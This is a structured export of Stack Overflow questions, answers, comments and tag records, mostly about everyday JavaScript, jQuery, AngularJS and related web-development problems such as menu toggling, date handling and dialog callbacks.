has body: UPDATED I have tried this, $('.menu &gt; li.menu-item-has-children &gt; a').after('&lt;span class="arrow"&gt; &lt;/span&gt;'); $('.sub-menu li.menu-item-has-children &gt; a').after('&lt;span class="arrow"&gt; &lt;/span&gt;'); $('span.arrow').click(function(){ var active = $(this).closest('li').find('.sub-menu'); active.slideToggle(); return false; }); how can I remove style attribute that has display:none when menu toggles to slideUp. and 2nd problem is that when I toggle first menu all other its child menus toggles too, means toggling first menu also toggles its child menus too. I don't want it. the only current menu should toggles or slides, all should not. here is demo so how to solve it?
score: 2
type: AnsweredQuestion
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0

http://stackoverflow.com/a/25562958
has comment: http://stackoverflow.com/comment/39919813
answers question: http://stackoverflow.com/q/25562905
type: Answer
upvote count: 4
downvote count: 0
has body: Best way is write a service and use that service in both controllers. see the documentation Service documentation If you really want to access controller method from another controller then follow the below option: emitting an event on scope: function FirstController($scope) { $scope.$on('someEvent', function(event, args) {});} function SecondController($scope) { $scope.$emit('someEvent', args);}
score: 4
has comment: http://stackoverflow.com/comment/39920110

http://stackoverflow.com/comment/40116664
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25670381
type: Comment
has text: In JavaScript identifier, the first character must be a letter, an underscore (_), or a dollar sign ($). It cannot be a digit. '+' operator cannot be used to manipulate or create arrays. This is array: `[1,2,3]`; this is not an array, it's a 6: `1+2+3`

http://stackoverflow.com/q/25563467
accepted answer: http://stackoverflow.com/a/25563975
answer count: 1
has body: Hi I have a plugin that opens a window with a own html-page. tinymce.PluginManager.add('ds_format_edit', function (editor, url) { editor.addMenuItem('ds_format_edit', { text: 'Formatvorlage anpassen...', icon: false, onclick: function () { editor.execCommand("ds_format_edit"); } }); editor.addCommand('ds_format_edit', function () { editor.windowManager.open({ title: "Formatvorlagen anpassen ...", url: 'DSFormatEditDialog.html', width: 800, height: 350, buttons: [ { text: 'OK', onclick: function () { top.tinymce.activeEditor.windowManager.close(); } }, { text: 'Cancel', onclick: 'cancel' } ] }, { tinymce_formats: getFormats(), }); }); }); tinymce_formats is my parameter which I pass to the window. The dialog modify this parameter. All thats works. Now I want to reintialize the tinymce editor if the window has been closed (if the user pressed the OK button) to get the modified parameter. Is there any open callback function or an other way to realize that? Thanks Felix EDIT: I call this plugin with a Button. The Plugin open a window with a parameter. In this window I do something and modify the parameter. And if the window has been closed I want to use my reintialize function. I need a function which knows when the window is closed to execute the reintialize function.
tagged with: tinymce-4
type: AnsweredQuestion
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25563975
type: Question
has title: Tinymce: How can I check if a window has been closed?
score: 0

http://stackoverflow.com/a/25602193
type: AcceptedAnswer
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/25602076
downvote count: 1
has body: this may be because of jquery conflict.if this is the case use noConflict of jquery.or add the compatible version of jquery to you page. if not this then first add jquery then all other file and see.
accepted answer of: http://stackoverflow.com/q/25602076
score: 1

http://stackoverflow.com/a/25703648
has body: If your data is valid XML, which it seems to be, then you can do a simple XSLT transform such as: &lt;xsl:template match="li"&gt; start=&lt;xsl:value-of select="@data-start_offset"/&gt; end=&lt;xsl:value-of select="@data-end_offset"/&gt; &lt;xsl:apply-templates/&gt; &lt;/xsl:template&gt; &lt;xsl:template match="p"&gt; text=&lt;xsl:value-of select="."/&gt; &lt;/xsl:template&gt; If you don't want to get involved with XSLT, then following @Rhumborl's suggestion, you could load the HTML into the browser, which is after all one of the best HTML parsers out there, and then access what you want via the following (no need for jQuery here unless you're a masochist or really want to support archaic browsers): start = document.querySelect('li').getAttribute('data-start_offset'); or if you prefer start = document.querySelect('li').dataset.start_offset and so on. Or, you could use xpath as he mentioned: start = document.evaluate('//li/@data-start_offset', ...); You could write a quick JS program and run it under a headless browser such as PhantomJS, and output the desired results directly to the console, as in console.log("start=", start); and run it as phantomjs extract_data.js input.js &gt; output
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40189667
accepted answer of: http://stackoverflow.com/q/25703514
type: Answer
answers question: http://stackoverflow.com/q/25703514

http://stackoverflow.com/q/25649904
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/25651715
type: Question
has answer: http://stackoverflow.com/a/25650198
answer count: 2
tagged with: jquery-mobile
has comment: http://stackoverflow.com/comment/40080747
tagged with: javascript
has answer: http://stackoverflow.com/a/25651715
favorite count: 0
has comment: http://stackoverflow.com/comment/40082685
tagged with: slider
has title: Set max attribute for the jQueryMobile slider from JavaScript
upvote count: 1
tagged with: attributes
has body: I have a slider Game mode Private Actually I have couple of them on one page. What I want to do is to set max attr from JavaScript. $('.ui-shadow-inset.ui-body-inherit.ui-corner-all.ui-slider-input').is('#game-mode').attr('max', '7'); $('.ui-shadow-inset.ui-body-inherit.ui-corner-all.ui-slider-input').is('#game-mode').slider("refresh"); So what I do is I make a selector using class and id both. This doesn't work. If I just use this class it does work, but then I can't have different values for different sliders,because they all have the same class, but different ids. I got this class name using Inspect element in Chrome. Can someone please help mi with this.
possible better answer: http://stackoverflow.com/a/25650198
type: AnsweredQuestion

http://stackoverflow.com/comment/39911794
score: 0
type: Comment
has text: But you are not inserting the value of `curentUser` in `current` you are inserting it in `$scope.Current`.. And `$scope.Current != current `
comment on: http://stackoverflow.com/a/25558149
type: AnswerComment

http://stackoverflow.com/comment/40042393
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25629106
type: Comment
has text: I use strptr, it show str:170245552=170245552....all number is same ,why ? it seems the for-loop is not executed

http://stackoverflow.com/comment/40491770
type: Comment
comment on: http://stackoverflow.com/a/25685194
score: 0
type: AnswerComment
has text: @Cyrec can you make workable demo for same,since i had tried your code but not works as expected.

http://stackoverflow.com/q/25655871
has answer: http://stackoverflow.com/a/25655933
type: AnsweredQuestion
tagged with: javascript
has body: So basically I want the first the key ("q") to initializes the setTimeouts, then I want to disable it from being pressed again while the setTimeouts are running, then when the setTimeouts are over, re-allow it to be pressed again. $(document).keydown(function(e) { // if 'q' key is pressed, initalize setTimeouts if (e.keyCode == 81) { var rock = $('#rock'); // disable 'q' key while setTimeouts are running setTimeout(function () { rock.css('background-position', '-34px -0px'); setTimeout(function () { rock.css('background-position', '-66px -0px'); setTimeout(function () { rock.css('background-position', '-96px -0px'); }, 300); }, 300); }, 300); // re enable 'q' key when setTimeouts are done } }); Any ideas?
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/25655933
answer count: 1
tagged with: jquery
tagged with: key
has title: Disable a key after functions are executed
tagged with: settimeout

http://stackoverflow.com/q/25708645
tagged with: javascript
tagged with: jquery
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25708661
upvote count: 1
downvote count: 1
type: Question
has title: Javascript return function
score: 0
has body: i want to create some javascript object with few functions, but i get a exception undefined is not a function JS: var Buses = null; $(function () { Buses = function() { return { Test: function () { console.log('test public function'); } } } }); HTMl: test What is wrong?
has answer: http://stackoverflow.com/a/25708661
answer count: 1

http://stackoverflow.com/comment/39932731
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25569502
has text: Unfortunately this doesn't work, my model is empty when I run this - despite the ajax request firing in the background.
type: AnswerComment

http://stackoverflow.com/q/25654134
has body: Doing the following: $(".questionOne").click(function(){ var answer=$(this).attr('href').split('=')[1] $('#questionOne').val( answer ); return false; }); How do I go about repeating it for each question rather than typing it out 30 times? I have 30 questions, that are yes or no with links that send a result to a hidden field, but can't for the life of me remember how to get it do repeat the function for each clicked answer.
score: 1
has title: On click pass through result to hidden field for each q?
has comment: http://stackoverflow.com/comment/40087488
has comment: http://stackoverflow.com/comment/40087493
answer count: 2
accepted answer: http://stackoverflow.com/a/25654323
possible better answer: http://stackoverflow.com/a/25654280
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25654280
tagged with: jquery
has comment: http://stackoverflow.com/comment/40087711
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25654323
upvote count: 1
type: Question

http://stackoverflow.com/comment/40485644
score: 0
type: Comment
has text: Another problem is that I do not have control over the request. The chrome extension I am working on receives data via [chrome.devtools.network](https://developer.chrome.com/extensions/devtools_network#event-onRequestFinished), which reads from the network logs and gets the response body from there. the PHP I've been mentioning was just to test decompression, but isn't part of the app.
type: AnswerComment
comment on: http://stackoverflow.com/a/25871559

http://stackoverflow.com/comment/40299403
type: Comment
has text: it should output the word "True" if it exits. "False" otherwise. Or you might want to try this: if (file_exists ( $filename ) ) {echo "file exists"; } else {echo "file does not exist";} Tell me what output you get
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25640007

http://stackoverflow.com/q/25558258
score: -3
has body: I'm trying to create a tip calculator but I'm having trouble creating a variable that will give me the total amount of the bill. Below is the code, any suggestions? function tipCalculate (slider, bill){ var tip = document.getElementById('tipamount'); var slideval = document.getElementById('slideval'); var bill = document.getElementById(bill).value; var prcnt = slider * .01; var total = Number(bill) + tip; if (bill == null || bill == '') { tip.innerHTML = 'Please enter an amount'; return false; } if(isNaN(bill)) { tip.innerHTML = 'Please enter a number'; return false; } if(bill &gt;= 0){ tip.innerHTML = '$' + (bill * prcnt) .toFixed(2); slideval.innerHTML = slider + '%'; } }
upvote count: 0
has title: Tip Calculator not giving Total Amount
type: Question
has answer: http://stackoverflow.com/a/25558338
tagged with: javascript
has comment: http://stackoverflow.com/comment/39911296
downvote count: 3
has comment: http://stackoverflow.com/comment/39911369
answer count: 1
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/40136407
type: Comment
type: QuestionComment
has text: You already did it. What is your question ?
comment on: http://stackoverflow.com/q/25681442
score: 1

http://stackoverflow.com/a/25580897
score: 0
has comment: http://stackoverflow.com/comment/39954098
has body: You have to append an html entity not just html string, try this: var child, area = $('#dataArea'); for (var i in data.area) { child = $('&lt;div&gt;');//&lt;-- change as per your need child.html(data.area[i].name +'&lt;div class="img" style="height:48px; width:48px; background: url("//ddragon.leagueoflegends.com/cdn4.15.1/img/sprite/'+data.area[i].image.sprite +') -'+data.area[i].image.x+'px -'+data.area[i].image.w+'px no-repeat;&lt;/div&gt;'); area.append(child); }
answers question: http://stackoverflow.com/q/25580861
has comment: http://stackoverflow.com/comment/39953970
type: Answer

http://stackoverflow.com/comment/39937270
type: QuestionComment
has text: Dou you have this code: ````Backbone.history.start()```` ?
comment on: http://stackoverflow.com/q/25571947
score: 0
type: Comment

http://stackoverflow.com/a/25627698
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25627623
has body: what you want is the .toggleClass() method. here is a link and a example &lt;script&gt; $("#InputsWrapper").on("click", ".boldText", function (e) { e.preventDefault(); $(this).parent().find(".fTypex").toggleClass("bold-text"); }); &lt;/script&gt; &lt;style&gt; .bold-text{ font-weight":"bold; } &lt;/style&gt;

http://stackoverflow.com/a/37770600
has body: .modal-backdrop{ display:none !important; }
has comment: http://stackoverflow.com/comment/63009795
answers question: http://stackoverflow.com/q/25670148
score: 0
upvote count: 1
downvote count: 1
type: Answer

http://stackoverflow.com/a/25705932
has comment: http://stackoverflow.com/comment/40181606
type: Answer
accepted answer of: http://stackoverflow.com/q/25705880
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25705880
type: AcceptedAnswer
downvote count: 0
has body: jPrompt is not built into jQuery, it comes from the jQuery Alert Dialogs Plugin. You can get it from here: http://labs.abeautifulsite.net/archived/jquery-alerts/ There's no documentation. I looked in the comments in the source code, it doesn't say what version of jQuery it requires.

http://stackoverflow.com/q/25579029
tagged with: twitter-bootstrap
score: 0
has title: Dynamically generate modals with backbone?
has answer: http://stackoverflow.com/a/25583751
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25583751
answer count: 2
has body: So I currently have a backbone model for items that are built into a template called cards. When I click on a card template, I have a bootstrap modal drop down displaying the card info. However, I'm doing this in a really hacky way since the card only displays maybe 1/3 of the item model properties, and then 2/3 of the properties are hidden. To generate the bootstrap modal, I grab all the item modal properties from the card, even the hidden ones, and I populate the modal using jQuery. However, this leads to less than desirable code, but I'm not sure how to do it otherwise? This is javascript code: $(".event").click(function(){ var eventProperties = $(this).children("div:first"); var eventTitle = $(eventProperties).find("#template-title").children().html(); var eventDescription = $(eventProperties).find("#template-otherItems").children("p:first").html(); $('#eventModal').find("#modal-Title").html(eventTitle); $('#eventModal').find("#modal-Description").html(eventDescription); $('#eventModal').modal('toggle') }); As you can see, I'm grabbing stuff one by one from the item model card and setting them in the modal. This is the item card template: &lt;script id="eventTemplate" type="text/x-handlebars"&gt; &lt;div&gt; &lt;img src="blah.jpg"&gt; &lt;div id="template-title"&gt; &lt;h4 {{title}}&lt;/h4&gt; &lt;/div&gt; &lt;div id="template-attendees"&gt; &lt;p &gt;{{attendeeNumber}} &lt;span"&gt;Attendees&lt;/span&gt; &lt;/p&gt; &lt;/div&gt; &lt;div style="display: none" id="template-otherItems"&gt; &lt;p&gt;{{description}}&lt;/p&gt; {{#each attendeePhotos}} &lt;p&gt;{{this}}&lt;/p&gt; {{/each}} &lt;p&gt;{{tags}}&lt;/p&gt; &lt;p&gt;{{creator_id}}&lt;/p&gt; &lt;p&gt;{{date}}&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/script&gt; This is the modal: &lt;div class="modal fade" id="eventModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button…
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25583554
tagged with: backbone.js
has answer: http://stackoverflow.com/a/25583554
type: AnsweredQuestion

jssor
tags question: http://stackoverflow.com/q/25608434
tags question: http://stackoverflow.com/q/25678518
tag name: jssor
type: Tag
tags question: http://stackoverflow.com/q/25557516

http://stackoverflow.com/comment/40180785
has text: It doesn't matter. If you're not somewhat experienced, don't pick challenges for experienced developers. Just learn the language.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25705371
score: 0

http://stackoverflow.com/q/25675836
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
has body: I have only recently started usign ajax and i have run into a slight problem. The code is as follows: Input form -> Value to AJAX. AJAX sends the form value to a php function that sends the request to a server. The server returns a stdClass object with the query results. PHP sends the results as responseText back to AJAX to be displayed on the webapp. The problem: stdClass Object is a PHP object that i now am stuck with, it is not possible to change the output format of the server in question. I have tried all the possible array/object/variable - combinations i can think of and also tried to json_encode the object. However this solutions only returns a long set of strings, as does a var_dump on the object. I might be horrible wrong, having absolutely no experience with json. I need some guidance on how to pass the object to AJAX in a format i can output with JavaScript. AJAX Code: function checkSerial(serial) { console.log(serial); if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { $responseText=xmlhttp.responseText; console.log($responseText); } } xmlhttp.open("GET","../module/getdevice.php?serial="+serial, true); xmlhttp.send(); } Outputted stdClass. Sorry about the censored values. object(stdClass)#5 (15) { ["censored"]=&gt; string(12) "censored" ["censored"]=&gt; string(29) "censored" ["censored"]=&gt; string(1) "censored" ["censored"]=&gt; string(8) "censored" ["censored"]=&gt; string(7) "censored" ["censored"]=&gt; string(0) "censored" ["censored"]=&gt; string(56) "censored" ["censored"]=&gt; string(47) "censored" ["censored"]=&gt; string(47) "censored" ["censored"]=&gt; string(30) "censored" ["censored"]=&gt; string(14) "censored" ["censored"]=&gt; string(0) "censored" ["censored"]=&gt; string(0) "censored" ["censored"]=&gt; s…
type: Question
tagged with: object
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25675873
has title: Php stdclass object returned to ajax
answer count: 1
downvote count: 0
score: 1
favorite count: 0
tagged with: ajax
tagged with: php
has answer: http://stackoverflow.com/a/25675873

http://stackoverflow.com/a/25662012
answers question: http://stackoverflow.com/q/25661981
upvote count: 0
score: -1
has body: correct is 3 parameters of $.on method $('body').on(EVENT_HERE, SELECTOR_HERE, function(){ bindDropdown(); console.log('must bind event') })
downvote count: 1
has comment: http://stackoverflow.com/comment/40101389
type: Answer

http://stackoverflow.com/comment/40132033
comment on: http://stackoverflow.com/a/25678616
type: AnswerComment
score: 0
has text: @user3599803 It is important to separate an event being bound (aka "listener") to an element and the function/handler the event is bound to - with that view the answers agree ;-) While the optimization will also apply to mobile browsers, it still doesn't make inline events any "better" in terms of a clean design. If I was wanting to optimize a page I would *first* find out if/where it was slow and only then fix it. It is fairly unlikely that a performance issue (on anything a real smart-phone and above) is related to click events. (Make a case otherwise for a *specific* site/scenario!)
type: Comment

http://stackoverflow.com/comment/40365458
type: Comment
comment on: http://stackoverflow.com/a/25787586
score: 0
type: AnswerComment
has text: Thanks ovvn. I also feel there may be more elegance that can be achieved here, but it hasn't come to me yet! I've improved my approach a little (updated solution & fiddle link) so that I get the `brush.extent()` in a much more sensible way - only when the brushed area is redrawn (`brushed` function called) rather than every time the mouse moves! Should improve performance.

http://stackoverflow.com/comment/40155679
has text: Thanks for the answer, although I found it a little hard to follow in places it still was very helpful. I'm at home now but I'll be able to try it properly on Monday.
comment on: http://stackoverflow.com/a/25690091
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40192813
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25711585
has text: Input with error This is the error. So how do I add the class control-label for inputError in js?
score: 0

http://stackoverflow.com/comment/40114259
has text: Thanks for the tutorial, what if it's an array of items?
type: Comment
comment on: http://stackoverflow.com/a/25668629
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40046836
has text: Next time consider posting some of the code you tried; it will speed answers.
comment on: http://stackoverflow.com/q/25631539
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25585879
upvote count: 1
has body: I am using Angular and tried to create a function to open url in current window. Below code in the controller actually opens new window instead: $scope.openUrl = function(url) { $window.open(url); }; ..when I use this ng-click='openUrl("someurl")' So how to open in current window? I tried ng-click='parent.open()' and it doesn't work.
type: Question
accepted answer: http://stackoverflow.com/a/25585966
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25585973
has answer: http://stackoverflow.com/a/25585973
answer count: 2
has comment: http://stackoverflow.com/comment/39962778
downvote count: 0
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25585966
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has title: Click button to open url in current window
score: 1

http://stackoverflow.com/q/25555139
has title: bluebird Promisies crud example using nodejs , express and mongoose
has answer: http://stackoverflow.com/a/25676529
score: 6
tagged with: express
answer count: 3
possible better answer: http://stackoverflow.com/a/33333036
accepted answer: http://stackoverflow.com/a/25676529
downvote count: 0
tagged with: mongoose
has answer: http://stackoverflow.com/a/32673605
has body: My Fellow Friends, Unfortunately I cant find any examples on how to implement the bluebird promise library in a node js express mongoose app. My app is setup where the mongoose model, controllers and routes are in diffrent files. But implementing it with mongoose, i just cant figure it out. So Please can someone show me how its used. Please see below. //express controller Article.js var mongoose = require('mongoose'), errorHandler = require('./errors'), Article = mongoose.model('Article'); exports.list = function(req, res) { Article.find().sort('-created').populate('user', 'displayName').exec(function(err, articles) { if (err) { return res.status(400).send({ message: errorHandler.getErrorMessage(err) }); } else { res.jsonp(articles); } }); }; //Mongoose Model /** * Module dependencies. */ var mongoose = require('mongoose'), Schema = mongoose.Schema; /** * Article Schema */ var ArticleSchema = new Schema({ created: { type: Date, default: Date.now }, title: { type: String, default: '', trim: true, required: 'Title cannot be blank' }, content: { type: String, default: '', trim: true }, user: { type: Schema.ObjectId, ref: 'User' } }); mongoose.model('Article', ArticleSchema); So please if i wanted to use Bluebird promise library, How would i go about changing export.list Thanks in advance. Some Questions, where do i call promisify on the mongoose model? e.g Article = mongoose.model('Article'); like thisArticle = Promise.promisifyAll(require('Article')); or like this var Article = mongoose.model('Article'); Article = Promise.promisifyAll(Article);
favorite count: 0
upvote count: 6
tagged with: node.js
type: AnsweredQuestion
tagged with: bluebird
type: Question
has answer: http://stackoverflow.com/a/33333036
tagged with: javascript

http://stackoverflow.com/comment/40005807
has text: Have you put the logic inside of a [`.sort`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort) function? If so, what problems did you run into?
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25609442

http://stackoverflow.com/q/25639957
has body: I implemented a simple AABB vs Sphere collision using this method from gamedev. It works fine when the sphere collides with the box from all sides. The problem is that the sphere will not slip of the edge of the box. Meaning when the sphere falling in -y direction collides on the edge of the box, it will just go in +y direction again. See the picture below (taken after collision). I think the problem is that the contactnormal is in this case always [0, 1, 0]. How do I achieve a more realistic behavior? For vector calculations I am using glMatrix. var delta = vec3.create(); vec3.subtract(delta, centerRelSphereAABB, closestPoint); distance = vec3.length(delta); if(distance &lt; C.radius){ penetrationDepth = C.radius - distance; contactNormal = vec3.create(); vec3.subtract(contactNormal, delta, A.centerOfMass); vec3.normalize(contactNormal, delta); //contact point contactPoint = vec3.create(); vec3.scale(contactPoint, contactNormal, C.radius - penetrationDepth); vec3.subtract(contactPoint, model_1.centerOfMass, contactPoint); } The data is then forwarded to my collision response.
answer count: 1
type: UnansweredQuestion
tagged with: physics
has title: AABB vs Sphere Collision on edges
score: 0
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25648434

http://stackoverflow.com/comment/40157973
type: QuestionComment
has text: there are newer RTC data methods that can almost do what you describe (they still need temporary access to a central server to handshake)
comment on: http://stackoverflow.com/q/25692494
score: 0
type: Comment

http://stackoverflow.com/q/25551322
possible better answer: http://stackoverflow.com/a/25551610
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25551456
has answer: http://stackoverflow.com/a/25551511
linked to: http://stackoverflow.com/q/1056728
downvote count: 3
type: Question
has body: I have date yyyy/mm/dd format in JavaScript and I want to display it in textbox by this format example: January 1 2014. function displayinTextbox(){ var datetodisplay = new Date('2014/01/01'); //i want to convert it first in this format (January 1 2014) var convertedDate = ///how?????? document.getElementById('date').value = convertedDate ; }
duplicate of: http://stackoverflow.com/q/1056728
score: -2
tagged with: javascript
has title: Convert Date yyyy/mm/dd to MM dd yyyy
accepted answer: http://stackoverflow.com/a/25551511
has answer: http://stackoverflow.com/a/25551644
has answer: http://stackoverflow.com/a/25551386
favorite count: 0
has answer: http://stackoverflow.com/a/25551610
answer count: 5
upvote count: 1

buttonclick
type: Tag
tags question: http://stackoverflow.com/q/25647032
tag name: buttonclick

http://stackoverflow.com/a/25711472
has body: "a" is a local variable, this not accessible from outside the function. you'd like something like this: var myClass = function(){ this.foo = 'bar'; } var myInstance = myClass(); myInstance.foo // 'bar' or as a plain object: var myObj = { foo: 'bar' } myObj.foo // 'bar' myObj.foo = 123; myObj.foo // 123
has comment: http://stackoverflow.com/comment/40191605
has comment: http://stackoverflow.com/comment/40191629
score: 0
has comment: http://stackoverflow.com/comment/40191567
type: Answer
answers question: http://stackoverflow.com/q/25711436

http://stackoverflow.com/comment/39901068
type: QuestionComment
has text: Read [the manpage](http://documentcloud.github.io/underscore/docs/underscore.html#section-13), it's not that hard to look it up.
score: 1
comment on: http://stackoverflow.com/q/25552952
type: Comment

http://stackoverflow.com/comment/39936799
type: AnswerComment
has text: And I also have other functions in the js code that works just fine, this is the only thing that isn't working
comment on: http://stackoverflow.com/a/25570101
type: Comment
score: 0

http://stackoverflow.com/a/25641143
accepted answer of: http://stackoverflow.com/q/25640912
answers question: http://stackoverflow.com/q/25640912
type: Answer
downvote count: 0
score: 1
has body: No, that can never* happen. Javascript event handling is single threaded, which means that no events are ever handled as long as your code is running. When you exit the function (loop) and return control to the browser, event handling can resume. (*) The exception would be if you have a dialog like an alert in that code, then some events may be handled, in some browsers.
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/28019627
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25703589
type: Answer
has body: I found reinstalling node and upgrading all my packages fixed this.
accepted answer of: http://stackoverflow.com/q/25703589
score: 0

http://stackoverflow.com/q/25599173
has answer: http://stackoverflow.com/a/25599228
has comment: http://stackoverflow.com/comment/39987285
has comment: http://stackoverflow.com/comment/39987051
has body: I'm stuck in a situation where the HTML designer says that your iFrame cannot be responsive using Bootstrap, but after a research I came up with the following links where it says iFrame can be made responsive: link1 and link2. HTML: Home DPA Antwon test ANTWON ♦ HELICOPTER from Brandon Tauszik on Vimeo. JS: $('#myTabs').bind('show', function(e) { paneID = $(e.target).attr('href'); src = $(paneID).attr('data-src'); // if the iframe hasn't already been loaded once if($(paneID+" iframe").attr("src")=="") { $(paneID+" iframe").attr("src",src); } }); JSFiddle
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/39987213
downvote count: 0
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/39987066
accepted answer: http://stackoverflow.com/a/25599228
tagged with: css
has comment: http://stackoverflow.com/comment/39987057
tagged with: twitter-bootstrap
tagged with: iframe
upvote count: 1
possible better answer: http://stackoverflow.com/a/25599363
has comment: http://stackoverflow.com/comment/39987079
has answer: http://stackoverflow.com/a/25599363
has comment: http://stackoverflow.com/comment/39987031
type: AnsweredQuestion
has title: Can an iframe be made responsive using Bootstrap?
score: 1

http://stackoverflow.com/comment/40120411
score: 0
has text: Check out [`d3.nest()`](https://github.com/mbostock/d3/wiki/Arrays#d3_nest) and [this answer](http://stackoverflow.com/questions/25642422/array-manipulation-with-d3-nest-and-rollup/25651121#25651121).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25672518

http://stackoverflow.com/a/25692713
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40163025
has comment: http://stackoverflow.com/comment/106503094
type: Answer
has comment: http://stackoverflow.com/comment/40157871
answers question: http://stackoverflow.com/q/25692594
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25692594
has body: When you say "without a database and without using php", it sounds like you actually mean "without any sort of server-side scripting"; i.e., only using HTML and JavaScript, so that you can just use a simple static HTTP file server on the backend. This is impossible if the actions of one user must affect the state of another user (i.e. what they see on the webpage) such as in the scenario you described: User A loads the main page, and sees image 1. User B loads the secondary page, chooses "2" from the dropdown, and submits form. User A re-loads the main page, and sees image 2. If only one user were involved, you could get away with using javascript cookies or localstorage. The scenario you describe requires that User B's action must be communicated to User A in the form of a new state. Each user's client (browser) only knows how to communicate with the server. The clients have no mechanism to communicate directly with each other. Therefore, the server must store state and provide an endpoint for changing state. In my opinion, the fastest and easiest way to crank out a proof-of-concept server for the requirements you describe is to use python flask. For a quick demo, you can eschew the database and just use a global variable. If you decide you want a database, sqlite3 is already included with a standard python installation. It's extremely lightweight, flexible, and fantastic for prototyping. Here is a full python flask demo server that does what you're trying to accomplish. You would use this instead of your usual HTTP server. server.py from flask import Flask, escape, request, render_template app = Flask(__name__) image = '1' @app.route('/') def main(): global image return render_template('index.html', image=image) @app.route('/config/', methods=['GET', 'POST']) def config(): global image if request.method == 'POST': image = request.form['image'] return render_template('config.html', image=image) templates/index.html Main Page templates/config.html Config Page Here i…
upvote count: 1

http://stackoverflow.com/q/25621514
score: 1
has answer: http://stackoverflow.com/a/25622029
has answer: http://stackoverflow.com/a/25621675
has body: I try to validate a date entered by the user. It must be today or a later date. How I can do that? Why the condition in the code below is false? var today = new Date(); var idate = new Date('02/09/2014'); if(today &gt; idate) { alert('your date is big'); } If I set today then it is today's date and also I pass in idate then it is also today's date then how can I compare dates? Here is JSFiddle: http://jsfiddle.net/0osh0q8a/1/
type: Question
has title: JavaScript simple date validation
tagged with: javascript
tagged with: date
has comment: http://stackoverflow.com/comment/40028193
upvote count: 1
has answer: http://stackoverflow.com/a/25621974
accepted answer: http://stackoverflow.com/a/25621974
favorite count: 0
has answer: http://stackoverflow.com/a/25621619
answer count: 4
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25621619
downvote count: 0

http://stackoverflow.com/a/25604653
answers question: http://stackoverflow.com/q/25602113
has body: It looks like you configure the slider only once, for the first image. To have an independent rotate-slider for each image configure it locally for the single image in the buildButton function. There you can easily create the new elements via jquery and make the necessary one-to-one bindings.
has comment: http://stackoverflow.com/comment/40061545
score: 0
type: Answer

http://stackoverflow.com/comment/40099928
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25661117
has text: Thanks for the fast response! I can't even accept your answer for another 7 min. :)
type: Comment

http://stackoverflow.com/comment/40097543
comment on: http://stackoverflow.com/a/25659642
score: 0
type: AnswerComment
has text: but after form post, if we manually refresh the page, browser will ask for submission.. to get rid of that we need to redirect to same page as solution!
type: Comment

http://stackoverflow.com/comment/40063185
type: QuestionComment
type: Comment
has text: Possible duplicate of http://stackoverflow.com/questions/14811718/how-to-call-a-javascript-function-using-asp-net-dropdown-list
score: 0
comment on: http://stackoverflow.com/q/25640777

http://stackoverflow.com/q/25648803
has comment: http://stackoverflow.com/comment/40077407
accepted answer: http://stackoverflow.com/a/25659633
has comment: http://stackoverflow.com/comment/40082775
has body: I am currently implementing a Kendo Map Widget using bing maps where i want to display markers. Therefore every marker needs an array with locations in the form [latitude, longitude]. As long as i am hardcoding these decimal values, everything is displayed correctly, but but when i fetch the coordinates from an external source convert them with parseFloat() and put them inside an array it does not display any markers. I researched with the browser devtools (Internet Explorer 11) and there the hardcoded version displays [39.772234,-84.190484] whereas the constructed version shows [object (init)] and posesses the additional attributes [Methods] and _events. To my knowledge there is no simple object for Array in Javascript or am i wrong? What is the difference between these two arrays?
type: AnsweredQuestion
tagged with: bing-maps
has title: Different types of Array in Javascript?
type: Question
score: 0
tagged with: arrays
has answer: http://stackoverflow.com/a/25659633
answer count: 1
tagged with: javascript
